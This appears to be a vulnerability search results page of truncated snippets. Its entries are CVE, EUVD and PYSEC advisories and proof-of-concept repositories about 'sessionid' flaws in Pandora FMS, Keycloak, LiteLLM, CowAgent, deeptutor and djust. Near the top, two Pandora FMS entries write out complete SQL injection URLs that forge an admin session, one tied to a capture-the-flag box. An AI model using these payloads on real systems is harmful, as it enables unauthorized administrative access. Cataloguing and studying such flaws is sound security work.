CVE-2021-32099

CVE-2021-32099 CVE-2021-32099 POC : http://localhost:8000/pandoraconsole/include/chartgenerator.php?sessionid=a%27%20UNION%20SELECT%20%27a%27,1,%27idusuario|s:5:%22admin%22;%27%20as%20data%20FROM%20tsessionsphp%20WHERE%20%271%27=%271 Deatil :...

pocKeycloakCVE-2023-0264

PoC CVE-2023-0264 — frontend OIDC session hijacking Static frontend that runs the OIDC flow authorization code against a Keycloak and exposes the sessionid hijacking hook of the PoC. It is served with nginx on port 5174 for team use. Launching it on the VPS cd vps/pocCVE0264 docker compose up -d...

CVE-2021-32099

poc : http://127.0.0.1:8888/pandoraconsole/include/chartgenerator.php?sessionid=%27%20union%20SELECT%201,2,%27idusuario|s:5:%22admin%22;%27%20as%20data%20--%20SgGO https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained...

CVE-2021-32099_SQLi

CVE-2021-32099 SQLi Bypass login Useful when trying to read User Flag on Pandora.htb CVE-2021-32099 SQLi allow attacker bypass login. Target Exploit on: Pandora FMS v7.0NG.742FIXPERL2020 Analysis Read from cvedetail. We know endpoint of target:...

CVE-2026-108574

A flaw was found in LiteLLM. A remote attacker can bypass authorization controls by manipulating the session identifier sessionid parameter in the spend tracking interface. This flaw allows an attacker to view spend tracking logs and usage metrics associated with other user sessions without prope...

CVE-2026-108681

A security flaw has been discovered in zhayujie CowAgent up to 2.1.7. Impacted is an unknown function of the file channel/web/webchannel.py of the component Web Console. The manipulation of the argument sessionid results in denial of service. The attack may be performed from remote. The exploit h...

EUVD-2026-96996

A security flaw has been discovered in zhayujie CowAgent up to 2.1.7. Impacted is an unknown function of the file channel/web/webchannel.py of the component Web Console. The manipulation of the argument sessionid results in denial of service. The attack may be performed from remote. The exploit h...

CVE-2026-108681

A security flaw in the zhayujie CowAgent Web Console (up to version 2.1.7 ) allows for a remote denial of service (DoS). The vulnerability exists within an unknown function in the file channel/web/web_channel.py where manipulation of the session_id argument triggers the DoS. Public exploit code i...

CVE-2026-108681 zhayujie CowAgent Web Console web_channel.py denial of service

A security flaw has been discovered in zhayujie CowAgent up to 2.1.7. Impacted is an unknown function of the file channel/web/webchannel.py of the component Web Console. The manipulation of the argument sessionid results in denial of service. The attack may be performed from remote. The exploit h...

CVE-2026-108574

A flaw has been found in BerriAI LiteLLM up to 1.95.0. Affected by this issue is the function uiviewsessionspendlogs of the file litellm/proxy/spendtracking/spendmanagementendpoints.py of the component Spend Tracking. Executing a manipulation of the argument sessionid can lead to authorization...

EUVD-2026-96884

A flaw has been found in BerriAI LiteLLM up to 1.95.0. Affected by this issue is the function uiviewsessionspendlogs of the file litellm/proxy/spendtracking/spendmanagementendpoints.py of the component Spend Tracking. Executing a manipulation of the argument sessionid can lead to authorization...

CVE-2026-108574 BerriAI LiteLLM Spend Tracking spend_management_endpoints.py ui_view_session_spend_logs authorization

A flaw has been found in BerriAI LiteLLM up to 1.95.0. Affected by this issue is the function uiviewsessionspendlogs of the file litellm/proxy/spendtracking/spendmanagementendpoints.py of the component Spend Tracking. Executing a manipulation of the argument sessionid can lead to authorization...

CVE-2026-108681: Improper Resource Shutdown or Release

A security flaw has been discovered in zhayujie CowAgent up to 2.1.7. Impacted is an unknown function of the file channel/web/webchannel.py of the component Web Console. The manipulation of the argument sessionid results in denial of service. The attack may be performed from remote. The exploit h...

CVE-2026-108574: Authorization Bypass Through User-Controlled Key

A flaw has been found in BerriAI LiteLLM up to 1.95.0. Affected by this issue is the function uiviewsessionspendlogs of the file litellm/proxy/spendtracking/spendmanagementendpoints.py of the component Spend Tracking. Executing a manipulation of the argument sessionid can lead to authorization...

EUVD-2026-91127

deeptutor 1.4.0 contains an authorization bypass through a user-controlled object identifier in TurnRuntimeManager.regeneratelastturn. A remote caller can enumerate or obtain a sessionid and trigger regenerate on another user's session...

CVE-2026-51878

deeptutor 1.4.0 contains an authorization bypass through a user-controlled object identifier in TurnRuntimeManager.regeneratelastturn. A remote caller can enumerate or obtain a sessionid and trigger regenerate on another user's session...

djust: SSE sessions are not bound to the authenticated user; the client-chosen session_id is the sole authorization capability (session hijack)

ImpactSSE sessions were keyed solely by a client-chosen sessionid with no binding to the authenticated user — a control the WebSocket transport has but that was dropped on SSE. An attacker who learns or a victim who leaks a sessionid could connect to the message endpoint and dispatch event handle...

PYSEC-2026-4043 djust: SSE sessions are not bound to the authenticated user; the client-chosen session_id is the sole authorization capability (session hijack)

Impact SSE sessions were keyed solely by a client-chosen sessionid with no binding to the authenticated user — a control the WebSocket transport has but that was dropped on SSE. An attacker who learns or a victim who leaks a sessionid could connect to the message endpoint and dispatch event...

CVE-2026-51878

deeptutor 1.4.0 contains an authorization bypass through a user-controlled object identifier in TurnRuntimeManager.regeneratelastturn. A remote caller can enumerate or obtain a sessionid and trigger regenerate on another user's session...

CVE-2026-51878

deeptutor version 1.4.0 is affected by an authorization bypass vulnerability in the TurnRuntimeManager.regenerate_last_turn function. The flaw stems from a user-controlled object identifier , which allows a remote caller to enumerate or obtain a session_id and trigger the regenerate action on a s...